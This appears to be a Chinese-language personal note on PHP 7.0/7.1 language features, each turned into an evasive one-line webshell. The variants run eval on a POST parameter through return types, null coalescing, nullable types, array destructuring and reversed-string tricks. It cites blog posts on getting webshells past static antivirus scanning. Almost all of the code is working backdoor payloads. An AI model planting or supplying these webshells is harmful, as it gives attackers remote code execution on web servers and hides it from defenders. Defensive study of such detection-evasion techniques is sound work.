php笔记
php笔记
参考资料
https://zeo.cool/2020/12/31/webshell多种方法免杀/
https://h3art3ars.github.io/2020/02/27/利用php新特性过静态查杀/
函数记录
<?php phpinfo();
<% eval(requests(a));%>
echo file_put_contents(__DIR__ . '/aa.php',"Runoob"); # 在当前位置下生成aa.php 内容为Runoob
PHP7.0.x 新特性
php7.0新特性 https://www.php.net/manual/zh/migration70.new-features.php
function a():int{
...
}
就是函数返回值类型要为int。否则会强制转换或者显示语法错误。
<?php
function b():string{
return $_POST['h3art3ars'];
}
eval(b());
?>
##############################################################################################
$a=isset($_POST['a'])?$_POST['a']:'h3art3ars';
等价
$a=$_POST['a']??'h3art3ars';
如果变量存在且值不为NULL, 它就会返回自身的值,否则返回它的第二个操作数
<?php
function a(){
$a=$b??$_POST['h3art3ars'];
return $a;
}
eval(a());
?>
PHP7.1.x 新特性
php7.1新特性 https://www.php.net/manual/zh/migration71.new-features.php
##############################################################################################
可为空(Nullable)类型
<?php
function a(): ?string
{
return $_POST['h3art3ars'];
}
eval(a());
?>
比7.1的特性多了个 ?函数返回值若不是给定类型,则为空。
##############################################################################################
短数组语法
<?php
function a(){
$a=['h3art3ars',$_POST['h3art3ars']];
[$c,$d]=$a;
return $d;
}
eval(a());
?>
短数组语法([])现在作为list()语法的一个备选项,可以用于将数组的值赋给一些变量(包括在foreach中)。
##############################################################################################
list()现在支持键名
$data = ["id" => 1, "name" => 'h3art3ars'];
["id" => $a, "name" => $b] = $data;
//结果$a=1,$b='h3art3ars'
<?php
$a=["shell"=>'a',"c"=>$_POST['h3art3ars'],];
["shell"=>$c,"c"=>$b]=$a;
eval($b);
?>
函数再套一层
<?php
function a(){
$a=[
"shell"=>'a',
"c"=>$_POST['h3art3ars'],
];
["shell"=>$c,"c"=>$b]=$a;
return $b;
}
eval(a());
?>
##############################################################################################
支持为负的字符串偏移量
<?php
$a="h3art3ars";
var_dump($a[-1]);
?>
这个在小于7.1版本中,负的偏移量返回空字串 7.1.x中返回 s,但是以前的版本中 返回 string(0) ""
<?php
$a="TSOP_";
$b=$a[-1].$a[-2].$a[-3].$a[-4].$a[-5];
$c=${"$b"}['h3art3ars'];
eval($c);
?>